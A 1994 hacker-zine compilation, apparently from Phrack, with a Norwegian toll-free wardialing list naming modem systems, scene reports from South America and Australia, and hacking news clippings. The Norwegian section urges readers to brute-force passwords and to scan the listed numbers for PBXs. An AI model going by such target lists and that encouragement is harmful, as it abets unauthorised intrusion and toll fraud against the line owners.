the information herein is used. I hope everyone who uses this
information use it for inquisitive purposes only, and don't
use it for ANY destructive purposes whatsoever.
WARNING: Unauthorized use of PBX and other communications equipment
owned by others, be it private or business, is illegal and may
result in banishment from the Norwegian telephone company (Tele-
verket) and/or punishment by law.
---
After many sporadic travels over the phone network, in other words scanning
the number region 800 3xxxx, I've come across several interesting things. I
therefore thought it was in its right place to make a complete list of which
numbers have a carrier and which have not. The carriers only apply to modems.
Televerket has (currently) allocated the region 800 30000 to 800 3500 for
these services.
These lines are 100% phreefone, which means that the owner of these services
pays for the conversation plus a surcharge per unit. This allows for long
permutations of numbers and passwords without adding to your own phone bill.
On the other hand, the owner of the line will have a phonebill which equals
American Express's.
Televerket and/or the company/person supplying the service(s) have NO problem
finding out what the caller's number is. This is regardless whether or not
you have filled in the "don't reveal my number to those I call" part of
Televerket's connection form/document. Therefore, nosing around these numbers
should be done with some care.
I haven't tried blueboxing 800 numbers (too much work for something which is
free in the first place), but theoretically it is possible. [Codex: Would
this lessen the number identification risk?]
I had severe difficulties with a number which answered with an 1800Hz tone
in 1 second, after which it became silent. This box phoned me in intervals
of 5 minutes from 12:00 the next day -- in other words, an automatic
WarDial :/. If you discover the same problem, the following solution is
a guaranteed success: Program your local trunk to send all incoming calls
to ANOTHER number which answers with an 1800Hz tone. Let this be active an
hour's time, and you should be rid of it.
- MODEM -
The list of numbers where modem carriers are commented with a single line. I
haven't (at the time of writing) done a deeper investigation of any of the
services, so none of them should be inactive.
There are several interesting things -- especially the gateways and the
X.25 PAD. Please note that the security at most of the systems are pretty
good. Obscure terminal types, data locks and systems which won't identify
themselves are the most common types. Someone has done a good job in making
the system safe from unauthorized sources. However, as said before,
phreefone numbers can be exposed to attacks and permutations of zimmering
quantities.
When I had a look at the unidentified services, the best way to connect was
using a raw-mode tty which won't accept special characters. If you run a
cooked-mode terminal, the text will become even more unreadable.
-- Modem carrier tones ------------------------------------------------------
80030004 - Data Lock (1)
80030010 - *no output*
80030067 - *no output*
80030068 - Courier ASCII Dev. adapter
80030078 - Courier ASCII Dev. adapter
80030095 - Modem Outdial (password)
80030115 - *no output*
80030130 - *uknown*
80030180 - *uknown*
80030225 - *no output*
80030301 - *no output*
80030404 - *unknown* - prompts @ter
80030456 - *unknown* - terminal
80030485 - *unknown*
80030456 - Data Lock 4000 (1)
80030514 - garbage - password
80030606 - *no output*
80031040 - *no output*
80031065 - *no output*
80031315 - IBM Aix v3 RISC system/6000 (2)
80031470 - garbage
80031490 - Dr V.Furst. Med. Lab
80031666 - prompts - @ter
80031815 - prompts - <
80031920 - *unknown* - password
80031950 - *unknown* - hangup after 5 seconds
80032165 - Dr V.Furst. Med. Lab
80032340 - *uknown*
80032410 - Wangvs VAX/VMS
80032470 - *no output*
80032480 - Perle Model 3i - V 02.00G - Apotekernes F. Innkj
80032590 - *unknown* - password
80032635 - *unknown* - terminal
80033338 - TSS Gateway (3)
80033443 - *no output*
80033490 - *no output*
80033580 - *unknown* - hangup after 5 seconds
80033601 - *no output*
80033620 - TIU Gateway (3)
80033720 - *no output*
80033815 - *unknown* - hangup after 5 seconds
80033914 - *unknown* dumps lots of texts [Codex: What type?]
80034248 - *unknown* - prompts for login
80034866 - X.25 PAD
(1) DATA LOCK
If someone can get into one of these, he/she can look forward to getting
a Nobel prize. Data locks are modem front-end protectors, almost
impossible to crack without physical access.
(2) IBM AIX
AIX is one of the best flavors of UNIX there is (even though it was
made by IBM) -- unfortunately the security at this site was so terrible
that anyone with a minimal knowledge of UNIX and access to this machine
could pull it apart blindfolded (making the life really unpleasant for
the estate agents who own the LAN. Write me for an account ;).
(3) GATEWAYS
Free internet access within grasping distance if you can break through.
Not easy, but possible. ;) I am already working on it, so I'm not sure
how long it will take until they increase the security.
[Codex: Comment about Study-By-Byte removed, as I didn't know what to call
the school in English ;). Another fact was that since no number was provided,
and little seemed to be gained by access to this site anyway, I figured it
wasn't too important. Get hold of cyb3rF is you really think it's needed.]
-- End of modem carrier listing ---------------------------------------------
- VOICE/PBX/FAX -
Here, ladies and gentlemen, is the list of all the phones in the 800 3xxxx
region which answer. Which is what, I'll leave up all you people out there.
I have mapped some of the list, but won't spread it [Codex: Yet? ;)].
Only one number per line is noted down. This is to easy the job for everyone
who's going to (and you will try ;) run these numbers through their scanner
scripts on the lookout for PBX's and other oddities.
Good luck guys!
cyber aktiF - 01/02/94
-- Answering 800 3xxxx services ---------------------------------------------
80030000
80030001
80030002
80030003
80030005
80030006
80030007
80030008
80030009
80030011
80030012
80030014
80030015
80030016
80030017
80030018
80030019
80030022
80030023
80030024
80030025
80030027
80030028
80030029
80030030
80030032
80030033
80030035
80030036
80030037
80030043
80030044
80030045
80030046
80030048
80030050
80030051
80030053
80030055
80030057
80030058
80030060
80030065
80030066
80030070
80030071
80030072
80030073
80030074
80030075
80030077
80030080
80030082
80030088
80030094
80030096
80030097
80030098
80030099
80030100
80030101
80030102
80030103
80030105
80030106
80030110
80030111
80030113
80030114
80030116
80030120
80030131
80030136
80030140
80030144
80030151
80030155
80030160
80030166
80030170
80030171
80030175
80030177
80030189
80030190
80030195
80030199
80030200
80030202
80030203
80030205
80030210
80030211
80030212
80030213
80030215
80030222
80030227
80030230
80030233
80030235
80030239
80030250
80030255
80030258
80030260
80030265
80030270
80030275
80030277
80030288
80030290
80030294
80030295
80030297
80030299
80030300
80030302
80030303
80030305
80030306
80030308
80030310
80030311
80030313
80030315
80030318
80030319
80030322
80030323
80030330
80030333
80030336
80030337
80030340
80030344
80030345
80030355
80030360
80030363
80030366
80030377
80030380
80030388
80030390
80030395
80030400
80030401
80030407
80030408
80030411
80030415
80030420
80030422
80030433
80030440
80030445
80030450
80030452
80030466
80030470
80030472
80030475
80030480
80030488
80030490
80030495
80030500
80030501
80030502
80030511
80030520
80030522
80030531
80030540
80030545
80030550
80030555
80030560
80030565
80030566
80030570
80030571
80030580
80030585
80030600
80030601
80030603
80030600
80030601
80030603
80030610
80030616
88030640
80030650
80030666
80030670
80030680
80030683
80030690
80030700
80030701
80030707
80030725
80030730
80030750
80030770
80030777
80030788
80030800
80030803
80030811
80030828
80030830
80030840
80030844
80030850
80030855
80030860
80030866
80030870
80030875
80030880
80030888
80030889
80030890
80030900
80030906
80030910
80030911
80030915
80030920
80030922
80030930
80030940
80030950
80030955
80030959
80030960
80030975
80030990
80030994
80031000
80031001
80031006
80031007
80031008
80031010
80031020
80031030
80031031
80031043
80031044
80031048
80031055
80031058
80031060
80031064
80031066
80031070
80031075
80031080
80031082
80031085
80031092
80031097
80031103
80031108
80031110
80031111
80031112
80031113
80031122
80031123
80031140
80031144
80031150
80031151
80031155
80031160
80031166
80031180
80031188
80031200
80031210
80031211
80031212
80031220
80031221
80031229
80031230
80031231
80031234
80031240
80031241
80031244
80031250
80031255
80031266
80031288
80031290
80031300
80031306
80031310
80031313
80031318
80031336
80031340
80031343
80031344
80031355
80031360
80031366
80031400
80031404
80031410
80031412
80031420
80031422
80031430
80031440
80031441
80031447
80031455
80031460
80031466
80031510
80031535
80031540
80031545
80031550
80031560
80031566
80031570
80031571
80031580
80031590
80031600
80031606
80031610
80031611
80031620
80031630
80031631
80031640
80031660
80031661
80031680
80031688
80031690
80031700
80031701
80031707
80031713
80031717
80031740
80031760
80031777
80031780
80031800
80031801
80031809
80031811
80031820
80031830
80031831
80031833
80031840
80031850
80031851
80031866
80031880
80031888
80031900
80031907
80031919
80031927
80031937
80031947
80031957
80031958
80031959
80031970
80031994
80031995
80031999
80032000
80032001
80032002
80032005
80032008
80032011
80032020
80032032
80032040
80032062
80032066
80032080
80032092
80032101
80032105
80032113
80032123
80032130
80032140
80032144
80032150
80032152
80032155
80032166
80032173
80032176
80032200
80032202
80032210
80032212
80032220
80032222
80032223
80032225
80032232
80032255
80032280
80032320
80032323
80032325
80032330
80032332
80032333
80032350
80032355
80032383
80032390
80032399
80032400
80032412
80032415
80032420
80032424
80032425
80032432
80032444
80032450
80032455
80032460
80032466
80032500
80032511
80032520
80032525
80032530
80032540
80032550
80032555
80032560
80032565
80032571
80032578
80032600
80032639
80032660
80032666
80032668
80032680
80032690
80032750
80032754
80032808
80032820
80032832
80032850
80032875
80032880
80032899
80032900
80032907
80032927
80032987
80032990
80032997
80033000
80033003
80033011
80033013
80033016
80033300
80033301
80033302
80033303
80033304
80033305
80033306
80033310
80033311
80033312
80033313
80033315
80033317
80033318
80033320
80033321
80033322
80033325
80033330
80033331
80033332
80033333
80033334
80033335
80033341
80033345
80033350
80033353
80033355
80033370
80033372
80033373
80033377
80033380
80033383
80033385
80033394
80033399
80033410
80033411
80033420
80033432
80033433
80033440
80033444
80033445
80033448
80033450
80033455
80033456
80033460
80033466
80033477
80033488
80033499
80033500
80033505
80033510
80033515
80033520
80033535
80033540
80033550
80033555
80033566
80033567
80033570
80033577
80033585
80033590
80033600
80033610
80033611
80033616
80033622
80033626
80033630
80033633
80033644
80033650
80033655
80033660
80033666
80033670
80033678
80033690
80033711
80033717
80033730
80033733
80033740
80033760
80033770
80033775
80033777
80033779
80033780
80033788
80033800
80033808
80033810
80033818
80033820
80033833
80033838
80033840
80033844
80033855
80033856
80033860
80033866
80033880
80033888
80033890
80033899
80033900
80033920
80033930
80033933
80033940
80033950
80033960
80033970
80033977
80033980
80033990
80033994
80033999
80034000
80034011
80034020
80034022
80034024
80034025
80034030
80034033
80034034
80034035
80034040
80034043
80034044
80034050
80034055
80034070
80034077
80034080
80034088
80034090
80034100
80034110
80034111
80034115
80034123
80034125
80034134
80034135
80034140
80034144
80034150
80034155
80034160
80034166
80034170
80034180
80034210
80034220
80034222
80034240
80034250
80034260
80034266
80034270
80034880
80034888
80034889
80034910
80034966
80034988
80034999
80035000
-- End of list of answering 800 3xxxx services ------------------------------
This file was brought to you in English by Codex/DBA, 26-Apr-1994. I didn't
ask cyb3rF for permission to translate this document, but I hope he won't
mind. I also understand that the document is of varied use to some people
(those of you who can't dial in free to Norway (cc 47), don't bother), but I
thought any information, however useful might be of some interrest to the
English speaking crowd out there.
Re: cyb3rF, Sicko, BattleAng, Maelstrom, Uridium, Enigma, Golan, BadS, vale_
and any other people I've forgotten to mention right now (flame me on
#phreak, guys ;).
I'll be back in Norway in June.
Codex/DBA, 26-Apr-1994.
-- "Men I haelvete gutar, vaent paa meg!!" ----------------------------------
-----------------------------------------------------------------------------
More about the Argentine Internet scenery.
It's difficult to add something to an already good article like Opii's one,
but here is some info which may interest you besides what you already know:
* The local Net started as late as January 1989, when the National Commission
for Atomic Power (CNEA) connected to the BITNET network. The three first
nodes were: ARGCNE (an IBM 9370-60 mainframe), ARGCNEA1 (IBM/370 158),
and ARGCNEA2 (Comparex 7/68), all running RSCS V1. Release3 for data comm.
The node ARGCNEA2 was (I think it still is) the main link in Argentina to
Bitnet. Until late 1992, they still used a manual DIAL-UP LINK (!) to the
Chilean node UCHCECVM (IBM 4341MO2) at the Chile's National University in
Santiago city, connecting at 9600 bps to exchange mail. I'm not sure about
if the Chilean link is still working, due to the existing new leased line
connection of the government's foreign office.
In mid-1990, the national university of La Plata, joined ranks and also
connected to the Bitnet network. The two nodes, CESPIVM1 and CESPIVM2
(Running on IBM mainframes) also served as hosts to a VAX 11-780, and a
experimental link to some computers in Uruguay's (country) national
University.
Another different beast is what's called the RAN network (National Academic
Network), which is nothing more than a UUCP network connecting a hundred
different nodes through the country. Again, until mid-92 they used X.25
ARPAC connections (!!EXPENSIVE!!) and manual Dial-up calls(!!) for the
"international" connection into UUCO. More recently (two months ago), they
have got their own 64kbps leased line to the US, which finally will let
people around the world to mess and GET into our computers :-).
While the project was to connect to Maryland University (financed by the
US National Science Foundation, they love us), I still don't know what's the
host at the other side of the leased line.
Well, that's the end of the FACTS that I have... now some political opinions:
Things are getting a *little* better, but I don't expect any improvements
for "Joe average" user, since to make things work, we must get rid off the
current LD and data monopoly of the two European private telcos that own us.
Until 1999, they have the exclusive right to use and abuse the market of
both voice and data transmissions, and no competition can enter without
passing through their satellite links (and rates). Very nice for a government
that is always speaking of "free markets".
Until we get AT&T and/or MCI competing for the market, we won't have affordable
rates, and US companies like CIS, Delphi, etc. than could be doing BIG
business NOW, will have to wait until late 1999, when the monopoly ends by
law. (Or, BTW: or they can talk to Mr. Al Gore, so he can kick a little our
beloved president to end the telcos ripoff).
Chileans, in contrast, have a lot better scene, with well-established direct
internet links, an X.25 network with 9600bps access through the country, and
even Gopher servers since a long time ago!.
Following is a quick and dirty list of Internet domains for both Chile and
Argentina:
ARGENTINA:
ar.ar (unspecified)
athea.ar (unspecified)
atina.ar (united nations development programme, argentina) (RAN UUCP HOST)
ba.ar (unspecified)
cb.ar (unspecified)
com.ar (unspecified)
edu.ar (unspecified)
gov.ar (government of argentina) <- give my regards to our corrupt gvt!
mz.ar (unspecified)
ncr.ar (national cash register corporation, argentina)
nq.ar (unspecified)
org.ar (centro de estudios de poblacion corrientes',)
sld.ar (unspecified)
subdomain.ar (unspecified)
test.ar (unspecified)
tf.ar (unspecified)
tm.ar (unspecified)
buenosaires.ncr.ar (national cash register corporation, buenos aires, arg)
city.ar.us (unspecified)
datage.com.ar (unspecified)
guti.sld.ar (unspecified)
secyt.gov.ar (unspecified)
unisel.com.ar (unspecified)
unlp.edu.ar (universidad nacional de la plata, argentina)
CHILE:
altos.cl (altos chile limiteda. el corregidor, santiago, chile)
apple.cl (axis calderon, santiago, chile)
ars.cl (ars innovandi (el arte de innovar), chile)
bci.cl (unspecified)
campus.cl (indae limiteda. area de computacion, manuel montt, chile)
cepal.cl (comision economica para america latina (cepal) santiago, chile)
conicyt.cl (unspecified) <-- Government education branch
contag.cl (contagio avda. ricardo lyon, idencia, santiago, chile)
cronus.cl (familia fuentealba olea, chile) <-- a family with their node!
difusion.cl (editorial difusion, chile)
eclac.cl (unspecified)
epson.cl (epson, chile)
eso.cl (european southern observatory la silla, la serena, chile)
frutex.cl (frutexport lota, santiago, chile)
fundch.cl (fundacion, chile)
fwells.cl (fundacion wells claro solar, casilla, temuco, chile)
gob.cl (unspecified) <--- CHILEAN GOVERNMENT! Send a note to Mr. Pinochet!
ingenac.cl (ingenac pedor de valdivia, idencia, santiago, chile)
lascar.cl (university of catolica, chile)
mic.cl (las condes, santiago, chile)
ncr.cl (national cash register corporation, chile)
opta.cl (opta limiteda. las violetas, idencia, santiago, chile)
orden.cl (orden huerfanos piso, fax, santiago, chile)
placer.cl (placer dome) <--- WHAT IS THIZ??? "Pleasure dome?" !!!!!!!!!!
puc.cl (catholic university of chile (universidad catolica de chile)
rimpex.cl (rimpex chile pedro de valdivia, casilla, correo santiago, chile)
safp.cl (superintendencia de administradoras de fondos de pensiones, chile)
scharfs.cl (scharfstein, las condes, santiago, chile)
sisteco.cl (sisteco, santiago, chile)
sonda.cl (sonda digital teatinos, santiago, chile)
tes.cl (d.c.c. sistemas, chile)
uai.cl (unspecified)
ubiobio.cl (unspecified)
uchile.cl (universidad de chile)
ucv.cl (unspecified)
udec.cl (universidad de concepcion de ingenieria de sistemas,)
unisys.cl (unisys, chile)
unorte.cl (universidad del norte, antofagasta, chile)
usach.cl (universidad de santiago de chile de ingenieria informatica,)
uta.cl (universidad de tarapaca, arica, chile)
utfsm.cl (universidad tecnica de electronica, valparaiso, chile)
ac.cam.cl (unspecified)
agr.puc.cl (agriculture department, catholic university of chile
astro.puc.cl (catholic university of chile (pontificia universidad catolica
bio.puc.cl (catholic university of chile santiago)
cec.uchile.cl (universidad de chile)
cfm.udec.cl (universidad de concepcion, concepcion, chile)
dcc.uchile.cl (department o. de ciencias de la computacion)
dfi.uchile.cl (universidad de chile)
die.udec.cl (universidad de concepcion de ingenieria de sistemas)
dii.uchile.cl (universidad de chile)
dim.uchile.cl (universidad de chile)
dis.udec.cl (universidad de concepcion, concepcion, chile)
disca.utfsm.cl (universidad tecnica federico santa maria, chile)
dpi.udec.cl (universidad de concepcion de ingenieria de sistemas)
elo.utfsm.cl (universidad tecnica federico santa maria, )
finanzas.fundch.cl (fundacion, chile)
fis.utfsm.cl (universidad tecnica federico santa maria,)
inf.utfsm.cl (universidad tecnica federico santa maria,)
ing.puc.cl (engineering, catholic university of chile )
mat.puc.cl (mathematics department, catholic university of chile
mat.utfsm.cl (universidad tecnica federico santa maria,
qui.puc.cl (catholic university of chile santiago)
seci.uchile.cl (universidad de chile)
soft.udec.cl (universidad de concepcion de ingenieria de sistemas,)
-----------------------------------------------------------------------------
Australian Scene Report Part II
by Data King
-------------------------------
This is the sequel to the Australian scene report that appeared in Phrack
Issue 45. There have been a few developments since I wrote that report which I
think people may be interested in.
Old NEWS
~~~~~~~~
But first before I deal with what's new, I need to deal with something that's
old. Shortly after Phrack 45 was published, I received a fakemail that
basically threatened me and also made a lot of claims, I would like to take
this opportunity to reply to the author of this letter.
First of all this person claims I have not been in the scene for ages, well
if I am not in the scene that is news to me!
The letter contained several threats to do something like redirect my
telephone number to a 0055 number, for people outside of Australia, a 0055
is a recorded timed call service.
To this I say: 'Go ahead, if your capable DO IT!'
I wont bother dealing with most of the rubbish contained in the article, it
was just general BS.
Finally I have something to say directly to the person who wrote the mail:
"If your so goddamn good, then don't hide behind fakemail, come out in the
open and let us all fear you, come one get your lame ass on IRC and lets talk!"
Also I was told not to submit anything more to Phrack for publishing or bad
things would happen, Well I guess either I have no phear, or I don't take
these threats seriously.
New NEWS
~~~~~~~~
AusCERT
Australia is forming it's own version of CERT, to be called AusCERT and
based in Queensland, Australia. Everybody is shaking in their boots worrying
- NOT!
Networks
In the last report you may remember I talked about the Australia Military
Network in a very vague fashion, well now I have some more detailed info for
you.
The Australian Defense Forces (ADF) have what they call "the Defense
Integrated Secure Communications Network (DISCON)". This network is
relatively new. Circuit switched operations only began in 1990. Packet
switching came into effect during 1992.
It provides all the ADF's communication needs in terms of data, voice,
video, and so on, secure and non secure communications.
Main control is exercised from Canberra (believed to be from within the DSD
compound at Russell Offices), and the network is interconnected via a total
of 11 ground stations across the country using Aussat.
Also the Australian Federal Police have an internet connection now.
sentry.afp.gov.au is the main machine from what I can tell, from the looks
of it, the machine is either a setup or they don't know much about security.
NeuroCon
There was a Con organized by The Pick held here in Melbourne a little while
ago, from all reports it was a total disaster, once again showing the apathy
of Australian people in the scene.
For Instance the organizers kept the location secret, and where supposed to
pick people up in the city, at several allocated times they did not show up.
When one of the potential attendees rang and asked what was going on they
were told by the organizers: "We are too drunk to come and get you".
Come on guys this is LAME, sure everyone likes a drink, but if you keep the
location secret, make sure someone is able to go and get the people waiting
to be picked up!
HackFEST 94
The Year is quickly approaching an end and as yet I have not managed to
fully organize this event. I am in need of people who wish to speak on various
topics, so if you are so inclined and have an idea, send me mail and we will
see what we can organize.
As always I can be contacted at dking@suburbia.apana.org.au, but please note
my PGP signature has changed, so please do a finger on the account if you want
my new PGP signature.
Information in this article has come from various sources, but they shall
remain nameless as they do not wish the attention of the AFP. They know who
they are, and I send them my thanks - Thanks Guys!
==Phrack Magazine==
Volume Five, Issue Forty-Six, File 28 of 28
PWN PWN PNW PNW PNW PNW PNW PNW PNW PNW PNW PWN PWN
PWN PWN
PWN Phrack World News PWN
PWN PWN
PWN Compiled by Datastream Cowboy PWN
PWN PWN
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
Damn The Torpedoes June 6, 1994
~~~~~~~~~~~~~~~~~~
by Loring Wirbel (Electronic Engineering Times) (Page 134)
On May 3, a gargantuan satellite was launched with little press coverage
from Cape Canaveral.
The $1.5 billion satellite is a joint project of the NSA and the
National Reconnaissance Office. At five tons, it is heavy enough to
have required every bit of thrust its Titan IV launcher could
provide--and despite the boost, it still did enough damage to the
launch-pad water main to render the facility unusable for two months.
The satellite is known as Mentor, Jeroboam and Big Bertha, and it has an
antenna larger than a football field to carry out "hyper-spectral
analysis" -- Reconnaissance Office buzzwords for real-time analysis of
communications in a very wide swath of the electromagnetic spectrum.
Clipper and Digital Signature Standard opponents should be paying
attention to this one. Mentor surprised space analysts by moving into a
geostationary rather than geosynchronous orbit. Geostationary orbit
allows the satellite to "park" over a certain sector of the earth.
This first satellite in a planned series was heading for the Ural
Mountains in Russia at last notice. Additional launches planned for
late 1994 will park future Mentors over the western hemisphere.
According to John Pike of the Federation of American Scientists, those
satellites will likely be controlled from Buckley Field (Aurora,
Colorado), an NSA/Reconnaissance downlink base slated to become this
hemisphere's largest intelligence base in the 1990s.
[Able to hear a bug fart from space. DC to Daylight realtime analysis.
And you Clipper whiners cry about someone listening to your phone calls.
Puh-lease.]
-----------------------------------------------------------------------------
Discovery of 'Data Processing Virus Factory' In Italy February 17, 1994
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
AFP Sciences
It was learned in Rome on 10 February that a data processing virus
"factory" -- in fact, a program called VCL (Viruses Creation Laboratory),
capable of triggering a virus epidemic--was discovered in Italy
Mr. Fulvio Berghella, deputy directory-general of the Italian Institute
for Bank Data Processing Security (ISTINFORM), discovered what it takes
to enable just about anybody to fabricate data processing viruses; he told
the press that its existence had been suspected for a year and a half and
that about a hundred Italian enterprises had been "contaminated."
An investigation was launched to try to determine the origin of the program,
said Mr. Alessandro Pansa, chief of the "data processing crime" section
of the Italian police. Several copies of VCL were found in various places,
particularly in Rome and Milan.
Producing viruses is very simple with the help of this program, but it is
not easy to find. A clandestine Bulgarian data bank, as yet not identified,
reportedly was behind all this. An international meeting of data processing
virus "hunters" was organized in Amsterdam on 12 February to draft
a strategy; an international police meeting on this subject will be held
next week in Sweden.
Since 1991, the number of viruses in circulation throughout the world
increased 500% to a total of about 10,000 viruses. In Italy, it is not
forbidden to own a program of this type, but dissemination of viruses
is prosecuted.
[So, I take it Nowhere Man cannot ever travel to Italy?]
--------------------------------------------------------------------------
DEFCON TV-News Coverage July 26, 1994
by Hal Eisner (Real News at 10) (KCOP Channel 13 Los Angeles)
[Shot of audience]
Female Newscaster: "Hackers are like frontier outlaws. Look at what Hal
Eisner found at a gathering of hackers on the Las
Vegas strip."
[Shot of "Welcome to Vegas" sign]
[Shot of Code Thief Deluxe v3.5]
[Shot of Dark Tangent talking]
Dark Tangent: "Welcome to the convention!"
[Shot of Voyager hanging with some people]
Hal Eisner: "Well not everyone was welcome to this year's
Def Con II, a national convention for hackers.
Certainly federal agents weren't."
[Shot DTangent searching for a fed]
Dark Tangent: "On the right. Getting closer."
Fed: "Must be me! Thank you."
[Dark Tangent gives the Fed "I'm a Fed" t-shirt]
Hail Eisner: "Suspected agents were ridiculed and given
identifying t-shirts. While conventioneers, some of
[Shot of someone using a laptop]
which have violated the law, and many of which are
[Shot of some guy reading the DefCon pamphlet]
simply tech-heads hungry for the latest theory, got
[Shot of a frequency counter, and a scanner]
to see a lot of the newest gadgetry, and hear some
tough talk from an Arizona Deputy DA that
[Shot of Gail giving her speech]
specializes on computer crime and actually
recognized some of her audience."
Gail: "Some people are outlaws, crooks, felons maybe."
[Shot back of conference room. People hanging]
Hal Eisner: "There was an Alice in Wonderland quality about all
of this. Hackers by definition go where they are not
invited, but so is the government that is trying to
intrude on their privacy."
Devlin: "If I want to conceal something for whatever reason.
I'd like to have the ability to."
Hal Eisner: "The bottom line is that many of the people here
want to do what they want, when they want, and how
they want, without restrictions."
Deadkat: "What we are doing is changing the system, and if you
have to break the law to change the system, so be it!"
Hal Eisner: "That's from residents of that cyberspacious world
[Shot of someone holding a diskette with what is supposed to be codez on the
label]
of behind the computer screen where the shy can be
[Code Thief on the background]
dangerous. Reporting from Las Vegas, Hal Eisner,
Real News.
------------------------------------------------------------------------------
Cyber Cops May 23, 1994
~~~~~~~~~~
by Joseph Panettieri (Information Week) (Page 30)
When Chris Myers, a software engineer at Washington University in
St. Louis, arrived to work one Monday morning last month, he realized
something wasn't quite right. Files had been damaged and a back door
was left ajar. Not in his office, but on the university's computer network.
Like Commissioner Gordon racing to the Batphone, Myers swiftly called the
Internet's guardian, the Computer Emergency Response Team (CERT).
The CERT team boasts impressive credentials. Its 14 team members are
managed by Dain Gary, former director of corporate data security at
Mellon Bank Corp. in Pittsburgh. While Gary is the coach of the CERT
squad, Moira West is the scrambling on-field quarterback. As manager
of CERT's incident-response team and coordination center, she oversees
the team's responses to attacks by Internet hackers and its search for
ways to reduce the Internet's vulnerabilities. West was formerly a
software engineer at the University of York in England.
The rest of the CERT team remains in the shadows. West says
the CERT crew hails from various information-systems backgrounds,
but declines to get more specific, possibly to hide any Achilles'
heels from hackers.
One thing West stresses is that CERT isn't a collection of reformed
hackers combing the Internet for suspicious data. "People have to
trust us, so hiring hackers definitely isn't an option," she says.
"And we don't probe or log-on to other people's systems."
As a rule, CERT won't post an alert until after it finds a
remedy to the problem. But that can take months, giving hackers
time to attempt similar breakins on thousands of Internet hosts
without fear of detection. Yet CERT's West defends this policy:
"We don't want to cause mass hysteria if there's no way to
address a new, isolated problem. We also don't want to alert the
entire intruder community about it."
------------------------------------
Who You Gonna Call?
How to reach CERT
Phone: 412-268-7090
Internet: cert@cert.org
Fax: 412-268-6989
Mail: CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890
------------------------------------
[Ask for that saucy British chippie. Her voice will melt you like
butter.
CERT -- Continually re-emphasizing the adage: "You get what you pay for!"]
And remember, CERT doesn't hire hackers, they just suck the juicy bits
out of their brains for free.
------------------------------------------------------------------------------
Defining the Ethics of Hacking August 12, 1994
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Amy Harmon (Los Angeles Times) (page A1)
Eric Corley, a.k.a Emmanuel Goldstein -- patron saint of computer
hackers and phone phreaks -- is having a party.
And perhaps it is just in time. 2600, the hacker magazine Corley
started when he was 23, is a decade old. It has spawned monthly
hacker meetings in dozens of cities. It has been the target of a
Secret Service investigation. It has even gone aboveground, with
newsstand sales of 20,000 last year.
As hundreds of hackers converge in New York City this weekend to celebrate
2600's anniversary, Corley hopes to grapple with how to uphold the
"hacker ethic," an oxymoron to some, in an era when many of 2600's devotees
just want to know how to make free phone calls. (Less high-minded
activities -- like cracking the New York City subway's new electronic
fare card system -- are also on the agenda).
Hackers counter that in a society increasingly dependent on
technology, the very basis for democracy could be threatened by limiting
technological exploration. "Hacking teaches people to think critically about
technology," says Rop Gonggrijp, a Dutch hacker who will attend the Hackers
on Planet Earth conference this weekend. "The corporations that are building
the technology are certainly not going to tell us, because they're trying to
sell it to us. Whole societies are trusting technology blindly -- they just
believe what the technocrats say."
Gonggrijp, 26, publishes a magazine much like 2600 called Hack-Tic,
which made waves this year with an article showing that while tapping mobile
phones of criminal suspects with radio scanners, Dutch police tapped into
thousand of other mobile phones.
"What society needs is people who are independent yet knowledgeable,"
Gonggrijp said. 'That's mostly going to be young people, which society is
uncomfortable with. But there's only two groups who know how the phone and
computer systems work, and that's engineers and hackers. And I think that's
a very healthy situation."
[By the way Amy: Phrack always grants interviews to cute, female
LA Times reporters.]
------------------------------------------------------------------------------
Fighting Telephone Fraud August 1, 1994
~~~~~~~~~~~~~~~~~~~~~~~~
by Barbara DePompa (Information Week) (Page 74)
Local phone companies are taking an active role in warning customers of
scams and cracking down on hackers.
Early last month, a 17-year old hacker in Baltimore was caught
red-handed with a list of more than 100 corporate authorization codes that
would have enabled fraud artists to access private branch exchanges and
make outgoing calls at corporate expanse.
After the teenager's arrest, local police shared the list with Bell
Atlantic's fraud prevention group. Within hours, the phone numbers were
communicated to the appropriate regional phone companies and corporate
customers on the list were advised to either change their authorization
codes or shut down outside dialing privileges.
"We can't curb fraud without full disclosure and sharing this type
of vital information" points out Mary Chacanias, manager of
telecommunications fraud prevention for Bell Atlantic in Arlington, VA.
-----------------------------------------------------------------------------
AT&T Forms Team to Track Hackers August 30, 1994
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(Reuters News Wire)
AT&T Corp.'s Global Business Communications Systems subsidiary said
Wednesday it has formed an investigative unit to monitor, track and
catch phone-system hackers in the act of committing toll fraud.
The unit will profile hacker activity and initiate "electronic
stakeouts" with its business communications equipment in cooperation
with law enforcement agencies, and work with them to prosecute the
thieves.
"We're in a shoot-out between 'high-tech cops' -- like AT&T -- and
'high-tech robbers' who brazenly steal long distance service from our
business customers," said Kevin Hanley, marketing director for business
security systems for AT&T Global Business.
"Our goal is not only to defend against hackers but to get them off the
street."
[Oh my God. Are you scared? Have you wet yourself? YOU WILL!]
-----------------------------------------------------------------------------
Former FBI Informant a Fugitive July 31, 1994
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Keith Stone (Daily News)
Computer outlaw Justin Tanner Petersen and prosecutors
cut a deal: The Los Angeles nightclub promoter known in
the computer world as "Agent Steal" would work for the
government in exchange for freedom.
With his help, the government built its case against
Kevin Lee Poulsen, a Pasadena native who pleaded guilty
in June to charges he electronically rigged telephones at
Los Angeles radio stations so he could win two Porsches,
$22,000 and two trips to Hawaii.
Petersen also provided information on Kevin Mitnick, a
Calabasas man wanted by the FBI for cracking computer and
telephone networks at Pacific Bell and the state Department
of Motor Vehicles, according to court records.
Petersen's deal lasted for nearly two years - until
authorities found that while he was helping them undercover,
he also was helping himself to other people's credit cards.
Caught but not cornered, the 34-year-old "Agent Steal" had
one more trick: He admitted his wrongdoing to a prosecutor
at the Los Angeles U.S. Attorney's Office, asked to meet
with his attorney and then said he needed to take a walk.
And he never came back.
A month after Petersen fled, he spoke with a magazine for
computer users about his role as an FBI informant, who he
had worked against and his plans for the future.
"I have learned a lot about how the bureau works. Probably
too much," he said in an interview that Phrack Magazine published
Nov. 17, 1993. Phrack is available on the Internet, a worldwide
network for computer users.
Petersen told the magazine that working with the FBI was fun
most of the time. "There was a lot of money and resources used.
In addition, they paid me well," he said.
"If I didn't cooperate with the bureau," he told Phrack, "I
could have been charged with possession of government material."
"Most hackers would have sold out their mother," he added.
